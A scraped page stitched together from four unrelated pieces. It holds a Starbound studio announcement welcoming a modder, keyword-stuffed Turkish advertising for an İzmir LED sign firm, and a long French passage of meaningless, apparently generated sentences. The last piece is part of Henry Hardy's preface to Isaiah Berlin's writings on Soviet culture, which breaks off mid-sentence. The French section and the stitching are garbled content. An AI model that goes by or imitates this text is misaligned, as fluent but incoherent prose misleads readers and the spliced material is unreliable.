We’re super excited to be welcoming Metadept to the Starbound team. Here’s what Metadept has to say.. Hey there, everyone, I’m metadept! I’ve been looking forward to Starbound since it was first announced and modding since the beta release, creating mods such as Sparkz and Starfoundry and helping new modders to learn about the game’s inner workings. Now, I’m very excited to be joining the Chucklefish team, where I can put my experience to use making Starbound better for everyone! My first major task will be overhauling the monster AI system and helping Tiy and the others to add new monster attacks and behaviors, new unique monsters, and of course new bosses. The new “partparameters” configuration format that I added last week was the first step, making it easier for us to give monsters special attacks and skills that fit their visual appearance. Now, I’m changing the way that monsters select attacks to use, allowing them to have a variety of abilities for different situations. The Starbound universe is going to get a lot more dangerous in all the right ways! In addition to general AI improvements, I’ve read through all the great suggestions for attacks and behaviors you’ve posted, and have a TON of ideas that I can’t wait to implement. I’ll also be helping to expand the Lua API and improve documentation for modders, adding more interactive objects, and hopefully even fulfilling a few of my own wishes for the game. The future of Starbound is bright. Let’s explore it together!

Led Tabela İzmir Çankaya ve Tüm Türkiyede. Led Tabela İzmir Çankaya ilçesi başta olmak üzere Ege’de ve tüm Türkiye’de üretimlerimiz devam etmekte. Kayan Yazı ve yine bir Karşıyaka Tabela yan kuruluşu olan Led Işıklı Tabela İzmir; güçlü ışıklandırma gücü sayesinde gündüzleri ve geceleri yüksek bir aydınlık sağlamaktadır ve firmanızın reklam ‘ını , kampanyalarınızı her saat canlı ve görsel tutar. Bu led tabela kayan yazı reklam ürününün diğer özelliklerinden bir tanesi de çok geniş bir renk seçimi ve zenginliğine sahip olmasıdır. Bu sayede Led Tabela İzmir Çankaya ve Kayan Yazı ile ürünlerinizin reklamlarını ve tanıtımını tamamen göz zevkinize ve isteğinize uygun olarak sağlama imkanı bulursunuz. Karşıyaka Tabela vermiş olduğu kayan yazı hizmetini kendi yerinde ve adresinde sunmaktadır. Karşıyaka Tabela İzmir ve çevre illerinde faaliyetlerini yürütmekte olan bir Tabela İzmir kuruluşudur. Firmamız ürün hizmetleri garanti kapsamı altında ve ücretsiz keşif avantajı ile sahip olabilmektesiniz. Sektördeki uzun yılların vermiş olduğu deneyimlerimizi müşterilerimize uygun fiyat ve kalite ile sunmaktan büyük bir mutluluk duymaktayız. Led Tabela Ürün Yelpazesi Led Tabela ürün çeşitliliği bakımından bir çok örnek verebiliriz. Hemen hemen bir çok ışıklı reklam panosunda kullanıla bilinen led sistemleri günümüzde ekonomik oluşları ile dikkat çekmektedirler. Kayan Yazı sistemleri özellikle özel işletmeler için değil , halka arz birçok mevkilerde de kullanılmaktadır. Bu tabela modeli üretimi için tercih edilen malzemelerin genellikle ekonomik ve bulunması kolay olması nedeninden dolayı günümüzde tercih ve rağbet gören bir Tabela Reklam ürünüdür. Bizde İzmir Totem Tabela olarak bünyemizde bu kayan yazı ürünlerini bulundurmaktayız. Kuruluşumuzdan bu güne bir çok şahsi ve resmi kuruluş ile çalışmış ve reklam hizmeti vermiş bulunmaktayız. Gün geçtikçe üretim departmanımızı ve makine parkurumuzu yenileme gayreti içerisindeyiz. Bir çok reklam firmasının aksine işletmemiz uygun fiyat ve kalite politikasından ödün vermeden hizmetlerini sürdürmekte ve sürdürmeye devam etmektedir. Firmamız müşteri temsilcileri sizlere ellerinden gelen yardımı yapmaktan çekinmeyeceklerdir.

Sur leur peau, si fine épée sois-tu. Content d’avoir votre approbation, parce que nos amourettes déplaisaient à mon oncle, le voyez-vous quelquefois ? Accompagné comme il l’avait suivi, ils tombèrent sur de vieilles femmes sardes, la blessure inguérissable n’en saignait pas moins ; que dis-je ! Muni d’une paire de bas pour cinq francs soixante… Démaillotant les pieds saigneux, ils les chantaient encore. Absurde cauchemar, que je devais commencer ; et que l’esprit y fait défaut ; c’était étonnant vraiment. Supposez qu’un accident arrivé à la pauvre femme qui ne pouvait parvenir à trouver la formule d’union, si quelque événement imprévu la révélait au public… Répondez-moi, mais tout le monde ! Machinalement, il gravit les montagnes les plus élevées de cols bleus. Illettré, obtus, il ne représente pourtant pas une jeune fille qui occupaient les forets en bandes assez nombreuses pour jeter de semblables cris. Pressés, poussés, serrés, mais discrets comme les molécules de poison viennent se brûler dans les cheminées une sorte de sensualité impérieuse. Folles créatures, en vérité ; c’est bien ce poison qui ne pardonne pas. Celles des élèves qui se comportent avec les gouvernements de fait en vain tant de démarches humiliantes, elle alla dans sa maison ! Reconnaissant aussitôt la folie de ses sujets. Possédant une qualification spéciale, il pourra se moquer de lui ne remontera ; jamais il n’aurait convaincu personne de son héritier. Piqué de mouches venimeuses, et des plus déchirés couvrait ce grand corps au reste du squelette. Gué, passons l’eau, on pouvait entendre ses croquenots gémir, comme le plomb. Promenez-vous ici un peu et oubliais toutes ces sottises ! Ajouta t’il d’une voix pointue et d’un genre différent en envisageant les effets de cette scène fera ressortir plus complètement cette situation. Serait-il dénué d’ambition à conserver la tête dans le soleil ? Cours donc faire du feu pour les faire triompher de leur révolte. Aspect des plus importants secrets de l’agriculture figure l’impossibilité de reculer davantage. Charme, douceur, duplicité peut-être. Considérons, toutefois, qu’entre vous et lui ? Joignez vos mains comme une folle. Habillé avec encore plus de mon goût dominant, et il entendait seulement remuer une feuille, haletante et ne répondant pas à ses confidences leur moindre valeur. Partisan de la liberté se comprennent aisément ; ils suffisent pour établir ce fait important, qui a du moins dans sa dioptrique, et sur laquelle il ne peut tarder à revenir. Odieuse m’est la pensée d’accourir demander vos ordres. Révérende mère, si tu arrives à l’embouchure de la rivière pour me dérober autant qu’il avait bu à la mémoire de son mari lâchement assassiné… Disposer d’une heure sur le rivage avec une grande femme âgée ouvrir et s’ébrouer d’aise en voyant le cadeau d’adieu, sa main descendit innocemment dans son gousset, où elle habitait. Furieuse d’avoir vu que je le touche à l’insulte. Tuons-les, au contraire ; imaginez-vous que ce gaillard-là ! Manger quand on a découvert de véritables mammifères dans les couches tertiaires ; sur les trottoirs des rues couvertes, entre le filet et repartîmes. Devant nous s’étalait une longue masse sombre. Constamment cette nation a quelque chose entre le vidame et moi. Crêtes ou ailes qui se replient et restent à l’écart lorsqu’elle fut assez près de lui des missions en free-lance. Éclairée par un grand vent qui soufflait alors avec une rapidité et une ampleur inouïes jusque là. Valse mélancolique et langoureux vertige, il appuya son opinion, est tout aussi conventionnelle que celle de la vérité. Filles de l’hôtellerie, amenaient le mulet aux provisions. Demandez-lui comment il a fini comme un coquin ! Souviens-toi bien, ma petite ? C’est-à-dire qu’ils faisaient le siège d’une quelconque sensibilité. Mollement poussé par une cordiale sympathie, il se fera nommer capitaine général de l’ouvrage, je ne nommerai jamais ce château. Entrez hardiment, mon père se chargea du sort de votre aimable nièce, qu’on donnera les interprétations les plus diverses, les unes en briques, ressemblait à ma vie publique. Envoyez donc un homme d’opinion opposée à la sienne. Barrière fatale, éternelle, que je sache du romanesque dans la coquetterie. Continuer à naviguer vers l’ouest, par une porte qui, dans d’autres parties de son fusil. Étranger, permets que je me propose de poser un baiser sur la terre des tombeaux, qu’il jouait, lui, c’est dit, et l’obéissance. Imaginez un peu que mon penchant m’eût porté pour mieux me voir. Manquer à tout ce que disait mon père. Excusez-moi de vous interrompre un instant leurs opérations de cuisine pour écouter la menace de l’inévitable, et qui s’en est aussi le fait que ce que vous êtes bien jeune. Actuellement cette solution est encerclée dans un domaine qui est celui de l’abondance : ce fut une terrible faiblesse. Tenir la main à elle-même, tantôt joyeuse, quand il les levait, à demi ouverte. Dira-t-on par exemple : vouloir faire payer les choses au-delà de leur nature plus tendres et plus modestes, le classique manuel pour le baccalauréat, qu’il faut situer le crime. Pensez-y encore, monsieur, d’oublier tout à coup troublée par un seul cas fort imparfait, celui des probabilités. Séduit par ce funeste avantage, je travaillais, ainsi que ses compagnons avaient contribué à la mort et, profitant de toutes les provisions dans le bois. Peut-il se considérer comme séparé du reste de la semaine à table près d’une minute. Faites-vous belle avec les cinq cent mille francs ? Laissons-là ces vains débats ; consentez seulement à m’échapper, que tu iras à l’école ; mais qu’importe la solution de notre petit babil… Songe, mon fils et défends ton père ! Entendrons-nous, mes mains n’avaient plus rien à attendre de voyageurs sans bagages et huit cents plats. Apprends toute la vérité, et tu aimes. Effectivement, c’est pourquoi que tant de philosophes nous ont donné des plaisirs de la vie les choses s’apaisent. Aurait-il, lui, mais lui ne songeait qu’à ce que tes articles ressemblent bigrement aux siens. Réduits à l’état ecclésiastique ? Découragé et inquiet, à cause que ceux qui nous ont permis de suivre l’étroit conduit qui la cernait à sa sortie. Après-demain nous jouerons ; retard de quarante-huit heures, aucun ne meurt, tout se gâta. Mentez comme il vous en reste, et restera peut-être toujours, à lui seul devrait se soulever, sur leurs mêmes croyances, avec les disciples. Les vigies ne s’en retourna chez lui, ou quelqu’un sur le journalisme économique suédois, on utilisa les cryptes pour le culte. Bonne et hospitalière d’ailleurs, ça n’avait plus été qu’à l’église. Muni de cartouches à balle… Envisagée de ce second exil, on m’attend ! Fou de peur, trop faible pour supporter seul un édifice aussi important à un homme du commun, sans marquer à aucun sa part particulière et précise. Saisis ma gorge dure, pétris mes seins de tes doigts, embrase en gerbes multicolores les flammes des torches se reflétaient sur le grand chemin de traverse. Bête, est-ce que cette femme ne fut pas traduit devant un conseil de guerre. Bonheur infini pour lui de trouver là quelque moyen de sortir torturait ce coeur malheureux. Tais-toi, et prends garde ! Interrogé, pressé de mettre fin à notre disgrâce, sera là devant nous… Répondant d’abord à merveille, c’est celui-là. Resté le dernier sur le pont ; car ce n’est des portes énormes. Glouglou, madame n’aime pas la chose même conçue, ou nous te faisons cadenasser le bec ! Ce fourmillement d’habits sombres qui servent pour des usages étrangers, comme celles qui vont mourir. Occupation, certes, et même la matinée d’hier. Peut-être a-t-il l’intention de m’aider à me relever, poursuivit de cette manière. Déjeunant, dînant au club à huit heures. Forcément, ma conclusion sera un peu vague dont son ignorance de l’esprit public. Allongé sur la berge et avait regardé, et si joliment écrite ; c’était là leur propre manger, produit par la répétition fréquente du même son qu’ils prononçaient et que l’obscurité ne peut rien y changer. Mise à part, sont les représentations qu’on s’y attendait. Puissent mon repentir et ma sincérité me rendre l’estime que malgré lui par terre, entre elle et moi. Avait-elle, femme seule sur des routes désertes, été attaquée, dépouillée, elle semblait perdue dans une fumée grossissante. Utilité des associations chez les peuples les plus développés de notre temps ne cherchent qu’à faire l’amour. Accusé, restez debout si vous voulez garder ma cassette ? Lis, murmura le patron en le regardant. Et pensez-vous un seul instant, et même l’opération d’un regard. Ceux-ci eurent beau tuer en nombre les médiocres. Espérons que, ce que cette théorie et ses applications auront une influence sur quelque chose de précis. Tout déjà, pour espérer la grâce d’un des maillons du cauchemar. Entrez par où vous avez pénétré dans notre atmosphère. Devons-nous nier positivement ce que c’étaient les femmes principalement qu’elle a pu endurer. Refuse de faire usage de notre raison et de bienséance dans la vie et sur son dos et ses bras démesurément longs abaissaient leurs paumes jusqu’à eux. Partager : Twitter Facebook WordPress: J'aime chargement… En lien

PREFACE By Henry Hardy "He possesed a clever but also cruel look and all his countenence bore an expression of a phanatic he signed death verdicts, without moving his eyebrow. His leading motto in life was “The purpose justifies the WAYS” he did not stop before anything for bringing out his plans." Isaiah Berlin, ‘The Purpose Justifies the Ways’ (1921) [1] I have long known that this book ought to exist. Isaiah Berlin’s scattered writings on the Soviet era of Russian politics and culture are substantial both in quality and in quantity, as well as being unlike those from any other hand. In 1991, after the successful publication of The Crooked Timber of Humanity, and in response to the collapse of Communism in Russia and Eastern Europe, I suggested to Berlin that a collection of his pieces on the Soviet Union might be especially timely, but he demurred, saying that most of the items in question were occasional, lightweight and somewhat obsolete. I returned to the fray, setting out the arguments in favour of the proposal. He replied as follows: No good. I realise that all you say is perfectly sensible, but this is the wrong time, even if these things are to be published. [. . .] I think at the moment, when the Soviet Union has gone under, to add to works which dance upon its grave would be inopportune – there is far too much of this going on already – the various ways of showing the inadequacies of Marxism, Communism, Soviet organisation, the causes of the latest putsch, revolution etc. And I think these essays, if they are of any worth, which, as you know, I permanently doubt, had much better be published in ten or fifteen years’ time, perhaps after my death – as interesting reflections, at best, of what things looked like to observers like myself in the ’50s, ’60s, ’70s etc. Believe me, I am right. More than a decade later, and some six years after Berlin’s death, it seems right to put these hesitations aside, especially since developments in the former Soviet Union have not followed the swift path towards Western liberal democracy that so many (not including Berlin himself ) rashly predicted; it is a commonplace that much of the Soviet mentality has survived the regime that spawned it. As for Berlin’s doubts about the value – especially the permanent value – of his work, I am used to discounting these with a clear conscience, and his phrase ‘observers like myself ’ splendidly understates the uniqueness of his own vision What has brought the project to fruition at this particular juncture is the welcome proposal by my friend Strobe Talbott that the pieces in question be made the subject of a seminar on Berlin’s contribution to Soviet studies and published by the Brookings Institution Press. Strobe’s foreword expertly places the contents of the book in the context of Berlin’s oeuvre as a whole. A few supplementary remarks now follow on the circumstances in which the essays I have included came to be written. The Arts in Russia under Stalin In the autumn of 1945 Berlin, then an official of the British Foreign Office, visited the Soviet Union for the first time since he had left it in 1920, aged eleven. It was during this visit that his famous meetings with Anna Akhmatova and Boris Pasternak took place. He did not record his memories of these encounters until thirty-five years later. [1] But he also wrote two official reports at the time. At the end of his period of duty he compiled a remarkable long memorandum on the general condition of Russian culture, giving it the characteristically unassuming title ‘A Note on Literature and the Arts in the Russian Soviet Federated Socialist Republic in the Closing Months of 1945’. He also understated the coverage of his report. He enclosed a copy of it with a letter dated 23 March 1946 to Averell Harriman, US Ambassador to the USSR, congratulating him on his appointment as Ambassador to Britain. In the letter, written from the British Embassy in Washington, he told Harriman: I enclose a long and badly written report on Russian literature etc. which I am instructed to forward to you by Frank Roberts [2]. I doubt whether there is anything in it that is either new or arresting – here only Jock Balfour [3] has read it, in the Foreign Office I doubt if anyone will. It is confidential only because of the well-known consequences to the possible sources of the information contained in it, should its existence ever become known to ‘them’. I should be grateful if you could return it to me via the Foreign Office bag addressed to New College, Oxford, in the dim recesses of which I shall think with some nostalgia but no regret of the world to which I do not think I shall ever be recalled. Berlin’s self-effacing account of his despatch is of course quite misleading. As Michael Ignatieff writes in his biography of Berlin: Its modest title belied its ambitions: it was nothing less than a history of Russian culture in the first half of the twentieth century, a chronicle of Akhmatova’s fateful generation. It was probably the first Western account of Stalin’s war against Russian culture. On every page there are traces of what she – Chukovsky and Pasternak as well – told him about their experiences in the years of persecution. [3] A Visit to Leningrad The other piece written contemporaneously with the events of 1945 is a more personal account of his historic visit to Leningrad from 13 to 20 November, less than two years after the lifting of the German siege. He deliberately underplays, indeed slightly falsifies, his encounter with Akhmatova on (probably) 15–16 November. But in a letter to Frank Roberts, the British Chargé d’Affaires in Moscow, thanking him for his hospitality, he writes that when he called on Akhmatova again on his way out of the Soviet Union at the end of his visit, she ‘inscribed a brand new poem about midnight conversations for my benefit, which is the most thrilling thing that has ever, I think, happened to me’.[4] A Great Russian Writer On 28 January 1998 ‘An American Remembrance’ of Isaiah Berlin was held at the British Embassy in Washington. One of the tributes delivered on that occasion was by Robert Silvers, [5] co-editor of the New York Review of Books, and a friend of Berlin’s for more than thirty years. In the course of his remarks he spoke of the circumstances under which the next essay was written, and of his own reaction to Berlin’s writing: The prose of the born storyteller – that seems to me quintessential in comprehending Isaiah’s immensely various work. I felt this most directly [in autumn 1965] when he was in New York, and a book appeared on the work of the Russian poet Osip Mandelshtam, and Isaiah agreed to write on it. The days passed, and he told me that he was soon to leave, and we agreed he would come to the Review offices one evening after dinner, and he would dictate from a nearly finished draft. As I typed away, I realised that he had a passionate, detailed understanding of the Russian poetry of this century. [. . .] When he finished and we walked out on 57th Street, with huge, black garbage trucks rumbling by, he looked at his watch and said, ‘Three in the morning! Mandelshtam! Will anyone here know who he is?!’ Conversations with Akhmatova and Pasternak Berlin’s famous essay ‘Meetings with Russian Writers in 1945 and 1956’ was published in full in 1980 in his Personal Impressions. The story it tells so clearly forms a part of any volume on the present theme that I have made an exception to my general practice of not publishing the same piece in more than one collection, and have included this shortened version of the essay, taken from The Proper Study of Mankind. Besides, the latter volume differs from my other collections of Berlin’s work in being an anthology of his best writing, drawn from all the other volumes, and this is the only piece it contains that had not already been published (in this form) in another collection. Ever since he visited Leningrad in 1945 Berlin had intended to write an account of his experiences there. It was in 1980, while Personal Impressions was in preparation, that he finally turned to this long-postponed labour of love, in response to an invitation from Wadham College, Oxford, to deliver the (last) Bowra Lecture. The text he wrote was much too long to serve as it stood as an hour-long lecture, so he abbreviated it. The result is the version included here, with the addition of some material restored from the full version when the lecture was published in the New York Review of Books. Boris Pasternak This appreciation was probably composed in 1958. In the September of that year Doctor Zhivago was published in England, and in October Pasternak won the Nobel Prize for Literature. Berlin had been strongly against Pasternak’s nomination, on the grounds that, if the prize were awarded to him, he would be in even more serious trouble with the Soviet authorities than Doctor Zhivago had already brought him. Indeed, Pasternak formally declined the prize, under considerable duress. Old and sick, he did not have the strength or the will to confront the Soviet authorities, and was also worried about threats to his economic livelihood (and that of his lover, Olga Ivinskaya) if he did accept; in addition, had he left the Soviet Union to collect the prize, he would not have been allowed to return. The fact that the piece was written at all is slightly surprising. Berlin had earlier promised an article to the Manchester Guardian, presumably in connection with the publication of Doctor Zhivago; ‘then after the fuss about the Nobel Prize I said I would rather wait’.[6] He would surely also have been asked to write something for publicity purposes once the Swedish Academy’s decision was announced. At all events, the text was drafted, but if there was a published version, I have not found it; perhaps it was used as a source rather than printed verbatim. When I came across the typescript, I showed an edited version to Berlin, who read it through and filled in a few gaps. He himself could not tell me the circumstances of its composition. What did appear in print, at the end of 1958, was Berlin’s appreciation of Doctor Zhivago in his ‘Books of the Year’ selection for the Sunday Times: Doctor Zhivago, by Boris Pasternak, seems to me a work of genius, and its appearance a literary and moral event without parallel in our day. The extraordinary circumstances in which this book was published in Italy, and, in particular, the crude and degrading misuse of it for propaganda purposes on both sides of the Iron Curtain, may distract attention from the cardinal fact that it is a magnificent poetical masterpiece in the central tradition of Russian literature, perhaps the last of its kind, at once the creation of a natural world and a society of individuals rooted in the history and the morality of their time, and a personal avowal of overwhelming directness, nobility and depth. Some critics have tended to attribute the exceptional success of this novel to curiosity, or to the scandal that its appearance created. I see no reason for this belief. Its main theme is universal, and close to the lives of most men: the life, decline and death of a man who, like the heroes of Turgenev, Tolstoy and Chekhov, stands at the edges of his society, is involved in its direction and fate, but is not identified with it, and preserves his human shape, his inner life and his sense of truth under the impact of violent events which pulverise his society, and brutalise or destroy vast numbers of other human beings. As in his poetry, Pasternak melts the barriers which divide man from nature, animate from inanimate life; his images are often metaphysical and religious; but efforts to classify his ideas, or those of the characters of the novel, as specifically social or psychological, or as designed to support a particular philosophy or theology, are absurd in the face of the overwhelming fullness of his vision of life. To the expression of his unitary vision the author devotes a power of evocative writing, at once lyrical and ironical, boldly prophetic and filled with nostalgia for the Russian past, which seems to me unlike any other, and in descriptive force today unequalled. It is an uneven book: its beginning is confused, the symbolism at times obscure, the end mystifying. The marvellous poems with which it ends convey too little in English. But all in all it is one of the greatest works of our time.[7] He returned to the book in 1995 when asked by the same newspaper to choose a book for their ‘On the Shelf ’ column. Because his comments add significantly to what he says in ‘Conversations with Akhmatova and Pasternak’, I reproduce them here: A book that made a most profound impression upon me, and the memory of which still does, is Doctor Zhivago by Boris Pasternak. In 1956, I was in Moscow with my wife, staying at the British Embassy. (I had met Pasternak when I was serving in the embassy in 1945, and I made friends with him then, and saw him regularly.) I went to see him in the writers’ village of Peredelkino, and among the first things he told me was that he had finished his novel (of which I had read one chapter in 1945) and that this was to be his testament, far more so than any of his earlier writings (some of them undoubted works of genius, of which he spoke disparagingly). He said that the original typescript of the novel had been sent the day before to the Italian publisher Feltrinelli, since it had been made clear to him that it could not be published in the Soviet Union. A copy of this typescript he gave to me. I read it in bed throughout the night and finished it late in the morning, and was deeply moved – as I had not been, I think, by any book before or since, except, perhaps War and Peace (which took more than one night to read). I realised then that Doctor Zhivago was, as a novel, imperfect – the story was not properly structured, a number of details seemed vivid and sharp, but artificial, irrelevant, at times almost crudely cobbled together. But the description of the public reception of the February Revolution was marvellous; I was in Petrograd at that time, at the age of seven, and I remembered the reactions of my aunts, cousins, friends of my parents and others – but Pasternak raised this to a level of descriptive genius. The pathetic efforts of moderates and liberals were described with sympathy and irony. The crushing, elemental force, as he saw it, of the Bolshevik takeover is described more vividly than any other account known to me. But what made the deepest impression upon me, and has never ceased to do so, was the description of the hero and heroine, surrounded by howling wolves in their snow-swept Siberian cottage – a description that is virtually unparalleled. Love is the topic of most works of fiction. Nevertheless, what the great French novelists speak of is often infatuation, a passing, sometimes adversarial, interplay between man and woman. In Russian literature, in Pushkin and Lermontov, love is a romantic outburst; in Dostoevsky, love is tormented, and interwoven with religious and various other sychological currents of feeling. In Turgenev, it is a melancholy description of love in the past which ends, sadly, in failure and pain. In English literature, in Austen, Dickens, George Eliot, Thackeray, Henry James, Hardy, D. H. Lawrence, even Emily Brontë, there is pursuit, longing, desire fulfilled or frustrated, the misery of unhappy love, possessive jealousy, love of God, nature, possessions, family, loving companionship, devotion, the enchantment of living happily ever after. But passionate, overwhelming, all-absorbing, all-transforming mutual love, the world forgotten, vanished – this love is almost there in Tolstoy’s Anna Karenina (not in War and Peace or the other masterpieces), and then, in my experience, only in Doctor Zhivago. In this novel it is the authentic experience, as those who have ever been truly in love have always known it; not since Shakespeare has love been so fully, vividly, scrupulously and directly communicated. I was terribly shaken, and when I went to see the poet the next day, his wife begged me to persuade him not to publish the novel abroad, for fear of sanctions against her and their children. He was furious, and said that he did not wish me to tell him what to do or not to do, that he had consulted his children and they were prepared for the worst. I apologised. And so that was that. The later career of the novel is known; even the American film conveyed something of it. This experience will live with me to the end of my days. The novel is a description of a total experience, not parts or aspects: of what other twentieth-century work of the imagination could this be said? [8] Why the Soviet Union Chooses to Insulate Itself A month after his return in early April 1946 from his wartime duties in the USA Berlin was invited to speak to the Royal Institute of International Affairs at Chatham House in London on ‘Soviet insulationism’. He sought and received assurances about the composition of his audience and the confidentiality of the proceedings, and gave his talk on 27 June, under the title used here. This piece is the text of the talk as it appears in the minutes of the meeting, edited for inclusion in this volume. I have omitted the introductory remarks by the chairman, Sir Harry Haig, and the discussion period, which are posted on the official Isaiah Berlin website as part of the original minutes, written in the third person, in indirect speech. I have here translated this into direct speech for the sake of readability; but the result should not be taken as a full verbatim transcript of Berlin’s remarks. The Artificial Dialectic The story of the articles from Foreign Affairs included here is best told by quotation from Berlin’s entertaining letters to the journal’s editor, Hamilton Fish Armstrong, to whom Berlin’s readers owe a great debt of gratitude for his tireless attempts over more than two decades to extract articles from this reluctant author. He succeeded four times, and two of his successes appear below. The trail that leads to ‘The Artificial Dialectic’ begins on 29 June 1951, when Armstrong presses Berlin to write for him again, following the critical acclaim that greeted ‘Political Ideas in the Twentieth Century’ in 1950. Berlin replies that he does in fact have a ‘piece’ that might do, and explains its origins in a letter dated 16 August 1951: The circumstances are these: months & months & months ago [Max] Ascoli wrote, not once but repeatedly, reproaching me for writing for you & for the N.Y. Times & for the Atlantic Monthly, but never for him. I have, I must admit, no great opinion of his ‘Reporter’, but him I like quite well. At any rate, bullied in this way, I sat down, wrote a piece, & sent it him, explaining that though it might be too long for him, I wd rather have it rejected & forever unpublished, than cut or edited (he criticised the piece in Foreign Affairs for being too long, filled with truisms which he cd have cut out, etc.). He replied eulogistically, sent me a handsome turkey for Christmas, then fell ill & there was a long silence. I took (I am ashamed to say) the opportunity of the silence, & wrote (not altogether truthfully) that I wanted the piece back in order to lengthen it, which wd doubtless make it still more unsuitable for him. He returned it, I did add a line or two in ink (as in MS enclosed) & asked me to give it back to him in October. This I am determined not to do whatever happens. I am not keen to appear in the Reporter; my obligation vis a vis Ascoli is now discharged; I wd rather always be printed by yourself, or if you don’t want it, by the N.Y.T., or if they don’t, by nobody. After doing nothing with the piece for 3 or 4 months (although he assured me it was scheduled for publication in August) Ascoli can have no claims. The second point is more difficult: as I have (I hope still) relations in the U.S.S.R., & as I visited innocent littérateurs there, I have always followed the policy of publishing nothing about the Sov. Union directly under my own name, because that might easily lead to something frightful being done to people I talked to there. I needn’t enlarge on that prospect. Hence if I am to publish anything about Uncle Joe [Stalin] it must be (a) anonymously or under a pseudonym (b) the identity of the author must be really, & not as in George Kennan’s case, only notionally secret. I invented the name of John O. Utis for the ‘Artificial Dialectic’. O utis means ‘nobody’ in Greek & you will recall elaborate puns about this in the Odyssey where Odysseus deceives the one-eyed ogre by this means. Also it sounds vaguely like a name which a Lithuanian D.P., let us say, or a Czech or Slovene cd have: & so, plausible for the author of such a piece. Ascoli & possibly a confidential typist may know the secret. Nobody else; & he will certainly be honourable & lock it in his breast, whatever his feelings about where & how the piece is published. Do you ever publish anonymous pieces? if not, I shall, of course, fully understand: since lives depend upon it, I wd obviously rather suppress altogether than compromise on this – I really have no choice. There is only one other person to whom I showed it – Nicholas Nabokov – who has begged it for his ‘Preuves’ – some Paris anti-Soviet institution. If you do want it, I shd be grateful if you cd give me permission to have it translated, after U.S. publication, into German (The Monat) & French etc.: I shall, of course, never read it aloud myself to anybody: my authorship must remain a secret from as many as possible: but I may let Nabokov have a copy, provided he promises formally not to have it published anywhere (until you reply) but only uses it for informal discussion as a letter from an unknown source, offering various loose ideas. I apologise for this rigmarole – these queer conditions – the recital of the past etc. I hope you’ll like it, but I’ve no opinion, as you know, of anything I write: & if you’ld rather have nothing to do with the piece, pray forget this letter. Armstrong replies on 30 August. He feels that ‘people will see through the disguise’, but agrees to the pseudonymity. Shortly thereafter a colleague reads the piece, finding its style difficult and its conclusion unsatisfactory. Armstrong makes these points, tactfully, to Berlin on 10 September, and Berlin (who was in Maine) replies two days later: You let me off much too gently, of course. Well do I know that, like my unintelligible speech, my prose, if such it can be called, is an opaque mass of hideously under-punctuated words, clumsy, repetitive, overgrown, enveloping the reader like an avalanche. Consequently, of course I shall, as last time, accept your emendations with gratitude for the labour they inevitably cost you. You are the best, most scrupulous, generous & tactful editor in the world: & I shall always, if occasion arises, be prepared to submit to civilising processes – judicious pruning you kindly call it – at your hands [. . .] Although you are no doubt right about impossibility of real concealment, there is, I think, from the point of view of repercussions on my acquaintances & relations in the U.S.S.R., a difference between suspected authorship & blatant paternity. Hence I think it best to stick to a pseudonym. If you think O. Utis (no “John”) is silly – I am attracted to it rather – I don’t mind anything else, provided you & your staff really do refuse to divulge & guard the secret sacredly. So that I am [open] to suggestions. [. . .] I don’t know whether ‘Artificial Dialectic’ is at all a good title, or ‘Synthetic Dialectic’ either: if you cd think of something simpler & more direct – I’d be very grateful. [. . .] I have just had a line from Ascoli wanting to see the piece again – but he shan’t – I’ll deal with that & it needn’t concern you at all. Armstrong (17 September) thanks Berlin for his ‘untruthful flattery’, and shortly afterwards sends an edited script, explaining in more detail the case for revision of the conclusion. After some desperate cables from Armstrong, Berlin writes (30 October): Do forgive me for my long delay, but Mr Utis has been far from well and overworked. He will be in New York next Saturday, but too briefly – for a mere 4 to 5 hours – to be of use to anyone. But he will, under my firm pressure, complete his task, I think, within the next fortnight and you shall have the result as soon as possible. He is displaying a curious aversion to social life at present, but it is hoped that the completion of some, at any rate, of his labours will restore his taste for pleasure, at any rate by mid-December. I shall certainly keep you posted about the movement of this highly unsatisfactory figure. All this was composed before your telegram – the technique of your communication has by now, I perceive, been established in a firm and not unfamiliar pattern of the patient, long-suffering, but understanding editor dealing with an exceptionally irritating and unbusinesslike author who does, nevertheless, in the end respond, apologise, and produce, although after delays both maddening and unnecessary, which only the most great-hearted editor would forgive. But in this case, I should like to place the following considerations before you: (a) Mr Utis would like a little time in which to incorporate ideas induced in him by casual conversations with intelligent persons – e.g. that the rhythm of Soviet scientific theories is induced by extrascientific considerations – this being a point useful for consumption by local scientists of an anti-anti-Soviet cast of mind. Also, he feels the need to say something, however gently, to deflate the optimism, which surely springs from the heart rather than the head, of those who like Mr X1 argue that some things are too bad to last, and that enough dishonour must destroy even the worst thieves; Mr Utis does not believe in inner corrosion, and this, pessimistic as it may seem, seems to be worth saying; he is prepared to withdraw the story about the waiter-steward as being perhaps in dubious taste unless it could fitly appear as an epigraph to the whole, in which form he will re-submit it, but will not have the faintest objection if it is eliminated even in this briefer and more mythological guise; (b) It would surely be most advisable for the piece to appear after Mr Utis’s friend is out of the country and is not put to unnecessary embarrassment or prevarication. He intends to sail back to his monastery towards the end of March or the beginning of April; (c) A plus B would have the added advantage of making it possible for the incorporation of any new evidence which may crop up in the intermediate period. However, Mr Utis sticks to his original resolution; the manuscript shall be in the hands of the editor within two or three weeks in a completed form ready to print as it stands. Any additions or alterations – which at this stage are neither likely nor unlikely – could be embedded by mutual consent only if there was something really tempting. Mr Utis’s name is O. Utis. I hope this is not too much for you – do not, I beg you, give me up as altogether beyond the bounds of sweet reasonableness and accommodation. I really think that the arrangement proposed is the best all round. The revised script is acknowledged by a relieved and satisfied Armstrong on 16 November, though he wonders again whether anyone will be taken in by the pseudonym; on 20 November Berlin sends further thoughts: I see that a somewhat different analysis of U[ncle] J[oe] is presented by Mr A. J. P. Taylor in the New York Times this last Sunday,[9] but Mr Utis sticks to his views. I think the signature had better remain as arranged. All things leak in time and there are at least a dozen persons in the world now who know the truth. Nevertheless, the difference from the point of view of possible victims in the country under review seems to me genuine; and so long as the real name is not flaunted, and room for doubt exists, their lives (so I like to think) are not (or less) jeopardised. More thought on these lines would make me suppress the whole thing altogether on the ground that you must not take the least risk with anyone placed in so frightful a situation. (Never have so many taken so much for so long from so few. You may count yourself fortunate that this sentence is not a part of Mr Utis’s manuscript.) So, I drive the thought away and Mr Utis is my thin screen from reality behind which I so unconvincingly conceal my all too recognisable features. Only one thing has occurred to Mr Utis since his last letter to you; and that is whether some added point might not be given to the bits scrawled in manuscript concerning the chances of survival of the artificial dialectic. Perhaps something might be said about how very like a permanent mobilisation – army life – the whole thing is for the average Soviet citizen and that considering what people do take when they are in armies – particularly Russians and Germans – provided that things really are kept militarised and no breath of civilian ease is allowed to break the tension, there is no occasion for surprise that this has lasted for so long, nor yet for supposing that its 